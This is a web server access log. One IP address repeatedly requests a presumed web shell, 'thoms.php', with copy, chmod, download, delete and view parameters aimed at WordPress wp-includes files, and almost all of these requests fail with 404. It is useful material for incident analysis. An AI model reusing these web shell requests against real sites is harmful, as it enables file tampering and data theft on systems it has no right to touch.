45.135.193.11 - - [11/Sep/2026:23:59:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcomment-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcomment-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?chmod=registration-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?dl=revision.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?dl=wp-diff.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?chmod=widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?del=js&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=js&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-feed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Flocale.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Flocale.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-http-streams.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?del=robots-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=robots-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fshortcodes.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fshortcodes.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?chmod=abilities-api.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?dl=block-bindings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-widget-factory.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-widget-factory.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:01 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?chmod=default-widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?chmod=sitemaps&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?dl=cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?chmod=class-pop3.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?del=class-wp-block-type-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?chmod=class-feed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-icons-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?del=ms-settings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:02 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?chmod=ms-network.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?chmod=template-loader.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?del=update.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=update.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fabilities-api.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fabilities-api.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fbookmark.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fbookmark.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?del=class-wp-meta-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-meta-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?dl=class-wp-image-editor-imagick.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor-imagick.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?dl=author-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?chmod=block-i18n.json&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:03 -0400] "GET /thoms.php?chmod=class-walker-comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?del=php-ai-client&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?dl=class-wp-block.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?dl=class-wp-block-processor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-processor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?del=comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /bfl.com.tw/wp-includes HTTP/1.1" 301 795 "http://163.245.207.76:443/bfl.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?del=block-supports&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-supports&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /bfl.com.tw/wp-includes/ HTTP/1.1" 200 9316 "https://163.245.207.76:443/bfl.com.tw/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:04 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
